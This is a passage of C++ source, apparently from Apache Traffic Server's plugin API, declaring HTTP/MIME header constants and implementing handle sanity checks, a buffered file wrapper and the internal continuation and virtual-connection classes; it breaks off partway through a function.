tsapi const char *TS_MIME_FIELD_CONTENT_LANGUAGE;
tsapi const char *TS_MIME_FIELD_CONTENT_LENGTH;
tsapi const char *TS_MIME_FIELD_CONTENT_LOCATION;
tsapi const char *TS_MIME_FIELD_CONTENT_MD5;
tsapi const char *TS_MIME_FIELD_CONTENT_RANGE;
tsapi const char *TS_MIME_FIELD_CONTENT_TYPE;
tsapi const char *TS_MIME_FIELD_CONTROL;
tsapi const char *TS_MIME_FIELD_COOKIE;
tsapi const char *TS_MIME_FIELD_DATE;
tsapi const char *TS_MIME_FIELD_DISTRIBUTION;
tsapi const char *TS_MIME_FIELD_ETAG;
tsapi const char *TS_MIME_FIELD_EXPECT;
tsapi const char *TS_MIME_FIELD_EXPIRES;
tsapi const char *TS_MIME_FIELD_FOLLOWUP_TO;
tsapi const char *TS_MIME_FIELD_FROM;
tsapi const char *TS_MIME_FIELD_HOST;
tsapi const char *TS_MIME_FIELD_IF_MATCH;
tsapi const char *TS_MIME_FIELD_IF_MODIFIED_SINCE;
tsapi const char *TS_MIME_FIELD_IF_NONE_MATCH;
tsapi const char *TS_MIME_FIELD_IF_RANGE;
tsapi const char *TS_MIME_FIELD_IF_UNMODIFIED_SINCE;
tsapi const char *TS_MIME_FIELD_KEEP_ALIVE;
tsapi const char *TS_MIME_FIELD_KEYWORDS;
tsapi const char *TS_MIME_FIELD_LAST_MODIFIED;
tsapi const char *TS_MIME_FIELD_LINES;
tsapi const char *TS_MIME_FIELD_LOCATION;
tsapi const char *TS_MIME_FIELD_MAX_FORWARDS;
tsapi const char *TS_MIME_FIELD_MESSAGE_ID;
tsapi const char *TS_MIME_FIELD_NEWSGROUPS;
tsapi const char *TS_MIME_FIELD_ORGANIZATION;
tsapi const char *TS_MIME_FIELD_PATH;
tsapi const char *TS_MIME_FIELD_PRAGMA;
tsapi const char *TS_MIME_FIELD_PROXY_AUTHENTICATE;
tsapi const char *TS_MIME_FIELD_PROXY_AUTHORIZATION;
tsapi const char *TS_MIME_FIELD_PROXY_CONNECTION;
tsapi const char *TS_MIME_FIELD_PUBLIC;
tsapi const char *TS_MIME_FIELD_RANGE;
tsapi const char *TS_MIME_FIELD_REFERENCES;
tsapi const char *TS_MIME_FIELD_REFERER;
tsapi const char *TS_MIME_FIELD_REPLY_TO;
tsapi const char *TS_MIME_FIELD_RETRY_AFTER;
tsapi const char *TS_MIME_FIELD_SENDER;
tsapi const char *TS_MIME_FIELD_SERVER;
tsapi const char *TS_MIME_FIELD_SET_COOKIE;
tsapi const char *TS_MIME_FIELD_STRICT_TRANSPORT_SECURITY;
tsapi const char *TS_MIME_FIELD_SUBJECT;
tsapi const char *TS_MIME_FIELD_SUMMARY;
tsapi const char *TS_MIME_FIELD_TE;
tsapi const char *TS_MIME_FIELD_TRANSFER_ENCODING;
tsapi const char *TS_MIME_FIELD_UPGRADE;
tsapi const char *TS_MIME_FIELD_USER_AGENT;
tsapi const char *TS_MIME_FIELD_VARY;
tsapi const char *TS_MIME_FIELD_VIA;
tsapi const char *TS_MIME_FIELD_WARNING;
tsapi const char *TS_MIME_FIELD_WWW_AUTHENTICATE;
tsapi const char *TS_MIME_FIELD_XREF;
tsapi const char *TS_MIME_FIELD_X_FORWARDED_FOR;
tsapi const char *TS_MIME_FIELD_FORWARDED;
/* MIME fields string lengths */
tsapi int TS_MIME_LEN_ACCEPT;
tsapi int TS_MIME_LEN_ACCEPT_CHARSET;
tsapi int TS_MIME_LEN_ACCEPT_ENCODING;
tsapi int TS_MIME_LEN_ACCEPT_LANGUAGE;
tsapi int TS_MIME_LEN_ACCEPT_RANGES;
tsapi int TS_MIME_LEN_AGE;
tsapi int TS_MIME_LEN_ALLOW;
tsapi int TS_MIME_LEN_APPROVED;
tsapi int TS_MIME_LEN_AUTHORIZATION;
tsapi int TS_MIME_LEN_BYTES;
tsapi int TS_MIME_LEN_CACHE_CONTROL;
tsapi int TS_MIME_LEN_CLIENT_IP;
tsapi int TS_MIME_LEN_CONNECTION;
tsapi int TS_MIME_LEN_CONTENT_BASE;
tsapi int TS_MIME_LEN_CONTENT_ENCODING;
tsapi int TS_MIME_LEN_CONTENT_LANGUAGE;
tsapi int TS_MIME_LEN_CONTENT_LENGTH;
tsapi int TS_MIME_LEN_CONTENT_LOCATION;
tsapi int TS_MIME_LEN_CONTENT_MD5;
tsapi int TS_MIME_LEN_CONTENT_RANGE;
tsapi int TS_MIME_LEN_CONTENT_TYPE;
tsapi int TS_MIME_LEN_CONTROL;
tsapi int TS_MIME_LEN_COOKIE;
tsapi int TS_MIME_LEN_DATE;
tsapi int TS_MIME_LEN_DISTRIBUTION;
tsapi int TS_MIME_LEN_ETAG;
tsapi int TS_MIME_LEN_EXPECT;
tsapi int TS_MIME_LEN_EXPIRES;
tsapi int TS_MIME_LEN_FOLLOWUP_TO;
tsapi int TS_MIME_LEN_FROM;
tsapi int TS_MIME_LEN_HOST;
tsapi int TS_MIME_LEN_IF_MATCH;
tsapi int TS_MIME_LEN_IF_MODIFIED_SINCE;
tsapi int TS_MIME_LEN_IF_NONE_MATCH;
tsapi int TS_MIME_LEN_IF_RANGE;
tsapi int TS_MIME_LEN_IF_UNMODIFIED_SINCE;
tsapi int TS_MIME_LEN_KEEP_ALIVE;
tsapi int TS_MIME_LEN_KEYWORDS;
tsapi int TS_MIME_LEN_LAST_MODIFIED;
tsapi int TS_MIME_LEN_LINES;
tsapi int TS_MIME_LEN_LOCATION;
tsapi int TS_MIME_LEN_MAX_FORWARDS;
tsapi int TS_MIME_LEN_MESSAGE_ID;
tsapi int TS_MIME_LEN_NEWSGROUPS;
tsapi int TS_MIME_LEN_ORGANIZATION;
tsapi int TS_MIME_LEN_PATH;
tsapi int TS_MIME_LEN_PRAGMA;
tsapi int TS_MIME_LEN_PROXY_AUTHENTICATE;
tsapi int TS_MIME_LEN_PROXY_AUTHORIZATION;
tsapi int TS_MIME_LEN_PROXY_CONNECTION;
tsapi int TS_MIME_LEN_PUBLIC;
tsapi int TS_MIME_LEN_RANGE;
tsapi int TS_MIME_LEN_REFERENCES;
tsapi int TS_MIME_LEN_REFERER;
tsapi int TS_MIME_LEN_REPLY_TO;
tsapi int TS_MIME_LEN_RETRY_AFTER;
tsapi int TS_MIME_LEN_SENDER;
tsapi int TS_MIME_LEN_SERVER;
tsapi int TS_MIME_LEN_SET_COOKIE;
tsapi int TS_MIME_LEN_STRICT_TRANSPORT_SECURITY;
tsapi int TS_MIME_LEN_SUBJECT;
tsapi int TS_MIME_LEN_SUMMARY;
tsapi int TS_MIME_LEN_TE;
tsapi int TS_MIME_LEN_TRANSFER_ENCODING;
tsapi int TS_MIME_LEN_UPGRADE;
tsapi int TS_MIME_LEN_USER_AGENT;
tsapi int TS_MIME_LEN_VARY;
tsapi int TS_MIME_LEN_VIA;
tsapi int TS_MIME_LEN_WARNING;
tsapi int TS_MIME_LEN_WWW_AUTHENTICATE;
tsapi int TS_MIME_LEN_XREF;
tsapi int TS_MIME_LEN_X_FORWARDED_FOR;
tsapi int TS_MIME_LEN_FORWARDED;
/* HTTP miscellaneous values */
tsapi const char *TS_HTTP_VALUE_BYTES;
tsapi const char *TS_HTTP_VALUE_CHUNKED;
tsapi const char *TS_HTTP_VALUE_CLOSE;
tsapi const char *TS_HTTP_VALUE_COMPRESS;
tsapi const char *TS_HTTP_VALUE_DEFLATE;
tsapi const char *TS_HTTP_VALUE_GZIP;
tsapi const char *TS_HTTP_VALUE_IDENTITY;
tsapi const char *TS_HTTP_VALUE_KEEP_ALIVE;
tsapi const char *TS_HTTP_VALUE_MAX_AGE;
tsapi const char *TS_HTTP_VALUE_MAX_STALE;
tsapi const char *TS_HTTP_VALUE_MIN_FRESH;
tsapi const char *TS_HTTP_VALUE_MUST_REVALIDATE;
tsapi const char *TS_HTTP_VALUE_NONE;
tsapi const char *TS_HTTP_VALUE_NO_CACHE;
tsapi const char *TS_HTTP_VALUE_NO_STORE;
tsapi const char *TS_HTTP_VALUE_NO_TRANSFORM;
tsapi const char *TS_HTTP_VALUE_ONLY_IF_CACHED;
tsapi const char *TS_HTTP_VALUE_PRIVATE;
tsapi const char *TS_HTTP_VALUE_PROXY_REVALIDATE;
tsapi const char *TS_HTTP_VALUE_PUBLIC;
tsapi const char *TS_HTTP_VALUE_S_MAXAGE;
/* HTTP miscellaneous values string lengths */
tsapi int TS_HTTP_LEN_BYTES;
tsapi int TS_HTTP_LEN_CHUNKED;
tsapi int TS_HTTP_LEN_CLOSE;
tsapi int TS_HTTP_LEN_COMPRESS;
tsapi int TS_HTTP_LEN_DEFLATE;
tsapi int TS_HTTP_LEN_GZIP;
tsapi int TS_HTTP_LEN_IDENTITY;
tsapi int TS_HTTP_LEN_KEEP_ALIVE;
tsapi int TS_HTTP_LEN_MAX_AGE;
tsapi int TS_HTTP_LEN_MAX_STALE;
tsapi int TS_HTTP_LEN_MIN_FRESH;
tsapi int TS_HTTP_LEN_MUST_REVALIDATE;
tsapi int TS_HTTP_LEN_NONE;
tsapi int TS_HTTP_LEN_NO_CACHE;
tsapi int TS_HTTP_LEN_NO_STORE;
tsapi int TS_HTTP_LEN_NO_TRANSFORM;
tsapi int TS_HTTP_LEN_ONLY_IF_CACHED;
tsapi int TS_HTTP_LEN_PRIVATE;
tsapi int TS_HTTP_LEN_PROXY_REVALIDATE;
tsapi int TS_HTTP_LEN_PUBLIC;
tsapi int TS_HTTP_LEN_S_MAXAGE;
/* HTTP methods */
tsapi const char *TS_HTTP_METHOD_CONNECT;
tsapi const char *TS_HTTP_METHOD_DELETE;
tsapi const char *TS_HTTP_METHOD_GET;
tsapi const char *TS_HTTP_METHOD_HEAD;
tsapi const char *TS_HTTP_METHOD_OPTIONS;
tsapi const char *TS_HTTP_METHOD_POST;
tsapi const char *TS_HTTP_METHOD_PURGE;
tsapi const char *TS_HTTP_METHOD_PUT;
tsapi const char *TS_HTTP_METHOD_TRACE;
tsapi const char *TS_HTTP_METHOD_PUSH;
/* HTTP methods string lengths */
tsapi int TS_HTTP_LEN_CONNECT;
tsapi int TS_HTTP_LEN_DELETE;
tsapi int TS_HTTP_LEN_GET;
tsapi int TS_HTTP_LEN_HEAD;
tsapi int TS_HTTP_LEN_OPTIONS;
tsapi int TS_HTTP_LEN_POST;
tsapi int TS_HTTP_LEN_PURGE;
tsapi int TS_HTTP_LEN_PUT;
tsapi int TS_HTTP_LEN_TRACE;
tsapi int TS_HTTP_LEN_PUSH;
HttpAPIHooks *http_global_hooks = nullptr;
SslAPIHooks *ssl_hooks = nullptr;
LifecycleAPIHooks *lifecycle_hooks = nullptr;
ConfigUpdateCbTable *global_config_cbs = nullptr;
static char traffic_server_version[128] = "";
static int ts_major_version = 0;
static int ts_minor_version = 0;
static int ts_patch_version = 0;
static ClassAllocator<APIHook> apiHookAllocator("apiHookAllocator");
static ClassAllocator<INKContInternal> INKContAllocator("INKContAllocator");
static ClassAllocator<INKVConnInternal> INKVConnAllocator("INKVConnAllocator");
static ClassAllocator<MIMEFieldSDKHandle> mHandleAllocator("MIMEFieldSDKHandle");
////////////////////////////////////////////////////////////////////
//
// API error logging
//
////////////////////////////////////////////////////////////////////
void
TSError(const char *fmt, ...)
{
va_list args;
va_start(args, fmt);
ErrorV(fmt, args);
va_end(args);
}
tsapi void
TSEmergency(const char *fmt, ...)
{
va_list args;
va_start(args, fmt);
EmergencyV(fmt, args);
va_end(args);
}
tsapi void
TSFatal(const char *fmt, ...)
{
va_list args;
va_start(args, fmt);
FatalV(fmt, args);
va_end(args);
}
// Assert in debug AND optim
void
_TSReleaseAssert(const char *text, const char *file, int line)
{
_ink_assert(text, file, line);
}
// Assert only in debug
int
#ifdef DEBUG
_TSAssert(const char *text, const char *file, int line)
{
_ink_assert(text, file, line);
return 0;
}
#else
_TSAssert(const char *, const char *, int)
{
return 0;
}
#endif
// This assert is for internal API use only.
#if TS_USE_FAST_SDK
#define sdk_assert(EX) (void)(EX)
#else
#define sdk_assert(EX) ((void)((EX) ? (void)0 : _TSReleaseAssert(#EX, __FILE__, __LINE__)))
#endif
////////////////////////////////////////////////////////////////////
//
// SDK Interoperability Support
//
// ----------------------------------------------------------------
//
// Standalone Fields (SDK Version-Interoperability Hack)
//
//
// A "standalone" field is an ugly hack for portability with old
// versions of the SDK that mirrored the old header system. In
// the old system, you could create arbitrary tiny little field
// objects, distinct from MIME header objects, and link them
// together. In the new header system, all fields are internal
// constituents of the MIME header. To preserve the semantics of
// the old SDK, we need to maintain the concept of fields that
// are created outside of a MIME header. Whenever a field is
// "attached" to a MIME header, it is copied into the MIME header
// field's slot, and the handle to the field is updated to refer
// to the new field.
//
// Hopefully, we can eliminate this old compatibility interface and
// migrate users to the newer semantics quickly.
//
// ----------------------------------------------------------------
//
// MIMEField SDK Handles (SDK Version-Interoperability Hack)
//
// MIMEField "handles" are used by the SDK as an indirect reference
// to the MIMEField. Because versions 1 & 2 of the SDK allowed
// standalone fields that existed without associated MIME headers,
// and because the version 3 SDK requires an associated MIME header
// for all field mutation operations (for presence bits, etc.) we
// need a data structure that:
//
// * identifies standalone fields and stores field name/value
// information for fields that are not yet in a header
// * redirects the field to a real header field when the field
// is inserted into a header
// * maintains the associated MIMEHdrImpl when returning field
// slots from lookup and create functions
//
// If the MIMEHdrImpl pointer is NULL, then the handle points
// to a standalone field, otherwise the handle points to a field
// within the MIME header.
//
////////////////////////////////////////////////////////////////////
/*****************************************************************/
/* Handles to headers are impls, but need to handle MIME or HTTP */
/*****************************************************************/
inline MIMEHdrImpl *
_hdr_obj_to_mime_hdr_impl(HdrHeapObjImpl *obj)
{
MIMEHdrImpl *impl;
if (obj->m_type == HDR_HEAP_OBJ_HTTP_HEADER) {
impl = ((HTTPHdrImpl *)obj)->m_fields_impl;
} else if (obj->m_type == HDR_HEAP_OBJ_MIME_HEADER) {
impl = (MIMEHdrImpl *)obj;
} else {
ink_release_assert(!"mloc not a header type");
impl = nullptr; /* gcc does not know about 'ink_release_assert' - make it happy */
}
return impl;
}
inline MIMEHdrImpl *
_hdr_mloc_to_mime_hdr_impl(TSMLoc mloc)
{
return _hdr_obj_to_mime_hdr_impl((HdrHeapObjImpl *)mloc);
}
TSReturnCode
sdk_sanity_check_field_handle(TSMLoc field, TSMLoc parent_hdr = nullptr)
{
if (field == TS_NULL_MLOC) {
return TS_ERROR;
}
MIMEFieldSDKHandle *field_handle = (MIMEFieldSDKHandle *)field;
if (field_handle->m_type != HDR_HEAP_OBJ_FIELD_SDK_HANDLE) {
return TS_ERROR;
}
if (parent_hdr != nullptr) {
MIMEHdrImpl *mh = _hdr_mloc_to_mime_hdr_impl(parent_hdr);
if (field_handle->mh != mh) {
return TS_ERROR;
}
}
return TS_SUCCESS;
}
TSReturnCode
sdk_sanity_check_mbuffer(TSMBuffer bufp)
{
HdrHeapSDKHandle *handle = (HdrHeapSDKHandle *)bufp;
if ((handle == nullptr) || (handle->m_heap == nullptr) || (handle->m_heap->m_magic != HDR_BUF_MAGIC_ALIVE)) {
return TS_ERROR;
}
return TS_SUCCESS;
}
TSReturnCode
sdk_sanity_check_mime_hdr_handle(TSMLoc field)
{
if (field == TS_NULL_MLOC) {
return TS_ERROR;
}
MIMEFieldSDKHandle *field_handle = (MIMEFieldSDKHandle *)field;
if (field_handle->m_type != HDR_HEAP_OBJ_MIME_HEADER) {
return TS_ERROR;
}
return TS_SUCCESS;
}
TSReturnCode
sdk_sanity_check_url_handle(TSMLoc field)
{
if (field == TS_NULL_MLOC) {
return TS_ERROR;
}
MIMEFieldSDKHandle *field_handle = (MIMEFieldSDKHandle *)field;
if (field_handle->m_type != HDR_HEAP_OBJ_URL) {
return TS_ERROR;
}
return TS_SUCCESS;
}
TSReturnCode
sdk_sanity_check_http_hdr_handle(TSMLoc field)
{
if (field == TS_NULL_MLOC) {
return TS_ERROR;
}
HTTPHdrImpl *field_handle = (HTTPHdrImpl *)field;
if (field_handle->m_type != HDR_HEAP_OBJ_HTTP_HEADER) {
return TS_ERROR;
}
return TS_SUCCESS;
}
TSReturnCode
sdk_sanity_check_continuation(TSCont cont)
{
if ((cont == nullptr) || (((INKContInternal *)cont)->m_free_magic == INKCONT_INTERN_MAGIC_DEAD)) {
return TS_ERROR;
}
return TS_SUCCESS;
}
TSReturnCode
sdk_sanity_check_fetch_sm(TSFetchSM fetch_sm)
{
if (fetch_sm == nullptr) {
return TS_ERROR;
}
return TS_SUCCESS;
}
TSReturnCode
sdk_sanity_check_http_ssn(TSHttpSsn ssnp)
{
if (ssnp == nullptr) {
return TS_ERROR;
}
return TS_SUCCESS;
}
TSReturnCode
sdk_sanity_check_txn(TSHttpTxn txnp)
{
if ((txnp != nullptr) && (((HttpSM *)txnp)->magic == HTTP_SM_MAGIC_ALIVE)) {
return TS_SUCCESS;
}
return TS_ERROR;
}
TSReturnCode
sdk_sanity_check_mime_parser(TSMimeParser parser)
{
if (parser == nullptr) {
return TS_ERROR;
}
return TS_SUCCESS;
}
TSReturnCode
sdk_sanity_check_http_parser(TSHttpParser parser)
{
if (parser == nullptr) {
return TS_ERROR;
}
return TS_SUCCESS;
}
TSReturnCode
sdk_sanity_check_alt_info(TSHttpAltInfo info)
{
if (info == nullptr) {
return TS_ERROR;
}
return TS_SUCCESS;
}
TSReturnCode
sdk_sanity_check_hook_id(TSHttpHookID id)
{
return HttpAPIHooks::is_valid(id) ? TS_SUCCESS : TS_ERROR;
}
TSReturnCode
sdk_sanity_check_lifecycle_hook_id(TSLifecycleHookID id)
{
return LifecycleAPIHooks::is_valid(id) ? TS_SUCCESS : TS_ERROR;
}
TSReturnCode
sdk_sanity_check_ssl_hook_id(TSHttpHookID id)
{
if (id < TS_SSL_FIRST_HOOK || id > TS_SSL_LAST_HOOK) {
return TS_ERROR;
}
return TS_SUCCESS;
}
TSReturnCode
sdk_sanity_check_null_ptr(void const *ptr)
{
return ptr == nullptr ? TS_ERROR : TS_SUCCESS;
}
// Plugin metric IDs index the plugin RSB, so bounds check against that.
static TSReturnCode
sdk_sanity_check_stat_id(int id)
{
if (id < 0 || id >= api_rsb->max_stats) {
return TS_ERROR;
}
return TS_SUCCESS;
}
/**
The function checks if the buffer is Modifiable and returns true if
it is modifiable, else returns false.
*/
bool
isWriteable(TSMBuffer bufp)
{
if (bufp != nullptr) {
return ((HdrHeapSDKHandle *)bufp)->m_heap->m_writeable;
}
return false;
}
/******************************************************/
/* Allocators for field handles and standalone fields */
/******************************************************/
static MIMEFieldSDKHandle *
sdk_alloc_field_handle(TSMBuffer /* bufp ATS_UNUSED */, MIMEHdrImpl *mh)
{
MIMEFieldSDKHandle *handle = mHandleAllocator.alloc();
// TODO: Should remove this when memory allocation can't fail.
sdk_assert(sdk_sanity_check_null_ptr((void *)handle) == TS_SUCCESS);
obj_init_header(handle, HDR_HEAP_OBJ_FIELD_SDK_HANDLE, sizeof(MIMEFieldSDKHandle), 0);
handle->mh = mh;
return handle;
}
static void
sdk_free_field_handle(TSMBuffer bufp, MIMEFieldSDKHandle *field_handle)
{
if (sdk_sanity_check_mbuffer(bufp) == TS_SUCCESS) {
mHandleAllocator.free(field_handle);
}
}
////////////////////////////////////////////////////////////////////
//
// FileImpl
//
////////////////////////////////////////////////////////////////////
FileImpl::FileImpl() : m_fd(-1), m_mode(CLOSED), m_buf(nullptr), m_bufsize(0), m_bufpos(0) {}
FileImpl::~FileImpl()
{
fclose();
}
int
FileImpl::fopen(const char *filename, const char *mode)
{
if (mode[0] == '\0') {
return 0;
} else if (mode[0] == 'r') {
if (mode[1] != '\0') {
return 0;
}
m_mode = READ;
m_fd = open(filename, O_RDONLY);
} else if (mode[0] == 'w') {
if (mode[1] != '\0') {
return 0;
}
m_mode = WRITE;
m_fd = open(filename, O_WRONLY | O_CREAT, 0644);
} else if (mode[0] == 'a') {
if (mode[1] != '\0') {
return 0;
}
m_mode = WRITE;
m_fd = open(filename, O_WRONLY | O_CREAT | O_APPEND, 0644);
}
if (m_fd < 0) {
m_mode = CLOSED;
return 0;
} else {
return 1;
}
}
void
FileImpl::fclose()
{
if (m_fd != -1) {
fflush();
close(m_fd);
m_fd = -1;
m_mode = CLOSED;
}
if (m_buf) {
ats_free(m_buf);
m_buf = nullptr;
m_bufsize = 0;
m_bufpos = 0;
}
}
ssize_t
FileImpl::fread(void *buf, size_t length)
{
size_t amount;
ssize_t err;
if ((m_mode != READ) || (m_fd == -1)) {
return -1;
}
if (!m_buf) {
m_bufpos = 0;
m_bufsize = 1024;
m_buf = (char *)ats_malloc(m_bufsize);
}
if (m_bufpos < length) {
amount = length;
if (amount < 1024) {
amount = 1024;
}
if (amount > (m_bufsize - m_bufpos)) {
while (amount > (m_bufsize - m_bufpos)) {
m_bufsize *= 2;
}
m_buf = (char *)ats_realloc(m_buf, m_bufsize);
}
do {
err = read(m_fd, &m_buf[m_bufpos], amount);
} while ((err < 0) && (errno == EINTR));
if (err < 0) {
return -1;
}
m_bufpos += err;
}
if (buf) {
amount = length;
if (amount > m_bufpos) {
amount = m_bufpos;
}
memcpy(buf, m_buf, amount);
memmove(m_buf, &m_buf[amount], m_bufpos - amount);
m_bufpos -= amount;
return amount;
} else {
return m_bufpos;
}
}
ssize_t
FileImpl::fwrite(const void *buf, size_t length)
{
const char *p, *e;
size_t avail;
if ((m_mode != WRITE) || (m_fd == -1)) {
return -1;
}
if (!m_buf) {
m_bufpos = 0;
m_bufsize = 1024;
m_buf = (char *)ats_malloc(m_bufsize);
}
p = (const char *)buf;
e = p + length;
while (p != e) {
avail = m_bufsize - m_bufpos;
if (avail > length) {
avail = length;
}
memcpy(&m_buf[m_bufpos], p, avail);
m_bufpos += avail;
p += avail;
length -= avail;
if ((length > 0) && (m_bufpos > 0)) {
if (fflush() <= 0) {
break;
}
}
}
return (p - (const char *)buf);
}
ssize_t
FileImpl::fflush()
{
char *p, *e;
ssize_t err = 0;
if ((m_mode != WRITE) || (m_fd == -1)) {
return -1;
}
if (m_buf) {
p = m_buf;
e = &m_buf[m_bufpos];
while (p != e) {
do {
err = write(m_fd, p, e - p);
} while ((err < 0) && (errno == EINTR));
if (err < 0) {
break;
}
p += err;
}
err = p - m_buf;
memmove(m_buf, &m_buf[err], m_bufpos - err);
m_bufpos -= err;
}
return err;
}
char *
FileImpl::fgets(char *buf, size_t length)
{
char *e;
size_t pos;
if (length == 0) {
return nullptr;
}
if (!m_buf || (m_bufpos < (length - 1))) {
pos = m_bufpos;
if (fread(nullptr, length - 1) < 0) {
return nullptr;
}
if (!m_bufpos && (pos == m_bufpos)) {
return nullptr;
}
}
e = (char *)memchr(m_buf, '\n', m_bufpos);
if (e) {
e += 1;
if (length > (size_t)(e - m_buf + 1)) {
length = e - m_buf + 1;
}
}
ssize_t rlen = fread(buf, length - 1);
if (rlen >= 0) {
buf[rlen] = '\0';
}
return buf;
}
////////////////////////////////////////////////////////////////////
//
// INKContInternal
//
////////////////////////////////////////////////////////////////////
INKContInternal::INKContInternal()
: DummyVConnection(nullptr),
mdata(nullptr),
m_event_func(nullptr),
m_event_count(0),
m_closed(1),
m_deletable(0),
m_deleted(0),
m_context(0),
m_free_magic(INKCONT_INTERN_MAGIC_ALIVE)
{
}
INKContInternal::INKContInternal(TSEventFunc funcp, TSMutex mutexp)
: DummyVConnection((ProxyMutex *)mutexp),
mdata(nullptr),
m_event_func(funcp),
m_event_count(0),
m_closed(1),
m_deletable(0),
m_deleted(0),
m_context(0),
m_free_magic(INKCONT_INTERN_MAGIC_ALIVE)
{
SET_HANDLER(&INKContInternal::handle_event);
}
void
INKContInternal::init(TSEventFunc funcp, TSMutex mutexp, void *context)
{
SET_HANDLER(&INKContInternal::handle_event);
mutex = (ProxyMutex *)mutexp;
m_event_func = funcp;
m_context = context;
}
void
INKContInternal::clear()
{
}
void
INKContInternal::free()
{
clear();
this->mutex.clear();
m_free_magic = INKCONT_INTERN_MAGIC_DEAD;
INKContAllocator.free(this);
}
void
INKContInternal::destroy()
{
if (m_free_magic == INKCONT_INTERN_MAGIC_DEAD) {
ink_release_assert(!"Plugin tries to use a continuation which is deleted");
}
m_deleted = 1;
if (m_deletable) {
free();
} else {
// TODO: Should this schedule on some other "thread" ?
// TODO: we don't care about the return action?
if (ink_atomic_increment((int *)&m_event_count, 1) < 0) {
ink_assert(!"not reached");
}
EThread *p = this_ethread();
// If this_thread() returns null, the EThread object for the current thread has been destroyed (or it never existed).
// Presumably this will only happen during destruction of statically-initialized objects at TS shutdown, so no further
// action is needed.
//
if (p) {
p->schedule_imm(this);
}
}
}
void
INKContInternal::handle_event_count(int event)
{
if ((event == EVENT_IMMEDIATE) || (event == EVENT_INTERVAL) || event == TS_EVENT_HTTP_TXN_CLOSE) {
int val = ink_atomic_increment((int *)&m_event_count, -1);
if (val <= 0) {
ink_assert(!"not reached");
}
m_deletable = (m_closed != 0) && (val == 1);
}
}
int
INKContInternal::handle_event(int event, void *edata)
{
if (m_free_magic == INKCONT_INTERN_MAGIC_DEAD) {
ink_release_assert(!"Plugin tries to use a continuation which is deleted");
}
handle_event_count(event);
if (m_deleted) {
if (m_deletable) {
free();
} else {
Debug("plugin", "INKCont Deletable but not deleted %d", m_event_count);
}
} else {
/* set the plugin context */
auto *previousContext = pluginThreadContext;
pluginThreadContext = reinterpret_cast<PluginThreadContext *>(m_context);
int retval = m_event_func((TSCont)this, (TSEvent)event, edata);
pluginThreadContext = previousContext;
if (edata && event == EVENT_INTERVAL) {
Event *e = reinterpret_cast<Event *>(edata);
if (e->period != 0) {
// In the interval case, we must re-increment the m_event_count for
// the next go around. Otherwise, our event count will go negative.
ink_release_assert(ink_atomic_increment((int *)&this->m_event_count, 1) >= 0);
}
}
return retval;
}
return EVENT_DONE;
}
////////////////////////////////////////////////////////////////////
//
// INKVConnInternal
//
////////////////////////////////////////////////////////////////////
INKVConnInternal::INKVConnInternal() : INKContInternal(), m_read_vio(), m_write_vio(), m_output_vc(nullptr)
{
m_closed = 0;
}
INKVConnInternal::INKVConnInternal(TSEventFunc funcp, TSMutex mutexp)
: INKContInternal(funcp, mutexp), m_read_vio(), m_write_vio(), m_output_vc(nullptr)
{
m_closed = 0;
}
void
INKVConnInternal::clear()
{
m_read_vio.set_continuation(nullptr);
m_write_vio.set_continuation(nullptr);
INKContInternal::clear();
}
void
INKVConnInternal::free()
{
clear();
this->mutex.clear();
m_free_magic = INKCONT_INTERN_MAGIC_DEAD;
INKVConnAllocator.free(this);
}
void
INKVConnInternal::destroy()
{
if (m_free_magic == INKCONT_INTERN_MAGIC_DEAD) {
ink_release_assert(!"Plugin tries to use a vconnection which is deleted");
}
m_deleted = 1;
if (m_deletable) {
free();
}
}
VIO *
INKVConnInternal::do_io_read(Continuation *c, int64_t nbytes, MIOBuffer *buf)
{
m_read_vio.buffer.writer_for(buf);
m_read_vio.op = VIO::READ;
m_read_vio.set_continuation(c);
m_read_vio.nbytes = nbytes;
m_read_vio.ndone = 0;
m_read_vio.vc_server = this;
if (ink_atomic_increment((int *)&m_event_count, 1) < 0) {
ink_assert(!"not reached");
}
eventProcessor.schedule_imm(this, ET_NET);
return &m_read_vio;
}
VIO *
INKVConnInternal::do_io_write(Continuation *c, int64_t nbytes, IOBufferReader *buf, bool owner)
{
ink_assert(!owner);
m_write_vio.buffer.reader_for(buf);
m_write_vio.op = VIO::WRITE;
m_write_vio.set_continuation(c);
m_write_vio.nbytes = nbytes;
m_write_vio.ndone = 0;
m_write_vio.vc_server = this;
if (m_write_vio.buffer.reader()->read_avail() > 0) {
if (ink_atomic_increment((int *)&m_event_count, 1) < 0) {
ink_assert(!"not reached");
}
eventProcessor.schedule_imm(this, ET_NET);
}
return &m_write_vio;
}
void
INKVConnInternal::do_io_transform(VConnection *vc)
{
m_output_vc = vc;
}
void
INKVConnInternal::do_io_close(int error)
{
if (ink_atomic_increment((int *)&m_event_count, 1) < 0) {
ink_assert(!"not reached");
}
INK_WRITE_MEMORY_BARRIER;
if (error != -1) {
lerrno = error;
m_closed = TS_VC_CLOSE_ABORT;
} else {
m_closed = TS_VC_CLOSE_NORMAL;
}
m_read_vio.op = VIO::NONE;
m_read_vio.buffer.clear();
m_write_vio.op = VIO::NONE;
m_write_vio.buffer.clear();
if (m_output_vc) {
m_output_vc->do_io_close(error);
m_output_vc = nullptr;
}
eventProcessor.schedule_imm(this, ET_NET);
}
void
INKVConnInternal::do_io_shutdown(ShutdownHowTo_t howto)
{
if ((howto == IO_SHUTDOWN_READ) || (howto == IO_SHUTDOWN_READWRITE)) {
m_read_vio.op = VIO::NONE;
m_read_vio.buffer.clear();
}
if ((howto == IO_SHUTDOWN_WRITE) || (howto == IO_SHUTDOWN_READWRITE)) {
m_write_vio.op = VIO::NONE;
m_write_vio.buffer.clear();
}
if (ink_atomic_increment((int *)&m_event_count, 1) < 0) {
ink_assert(!"not reached");
}
eventProcessor.schedule_imm(this, ET_NET);
}
void
INKVConnInternal::reenable(VIO * /* vio ATS_UNUSED */)
{
if (ink_atomic_increment((int *)&m_event_count, 1) < 0) {
ink_assert(!"not reached");
}
eventProcessor.schedule_imm(this, ET_NET);
}
void
INKVConnInternal::retry(unsigned int delay)
{
if (ink_atomic_increment((int *)&m_event_count, 1) < 0) {
ink_assert(!"not reached");
}
mutex->thread_holding->schedule_in(this, HRTIME_MSECONDS(delay));
}
bool
INKVConnInternal::get_data(int id, void *data)
{
switch (id) {
case TS_API_DATA_READ_VIO:
*((TSVIO *)data) = reinterpret_cast<TSVIO>(&m_read_vio);
return true;
case TS_API_DATA_WRITE_VIO:
*((TSVIO *)data) = reinterpret_cast<TSVIO>(&m_write_vio);
return true;
case TS_API_DATA_OUTPUT_VC:
*((TSVConn *)data) = reinterpret_cast<TSVConn>(m_output_vc);
return true;
case TS_API_DATA_CLOSED:
*((int *)data) = m_closed;
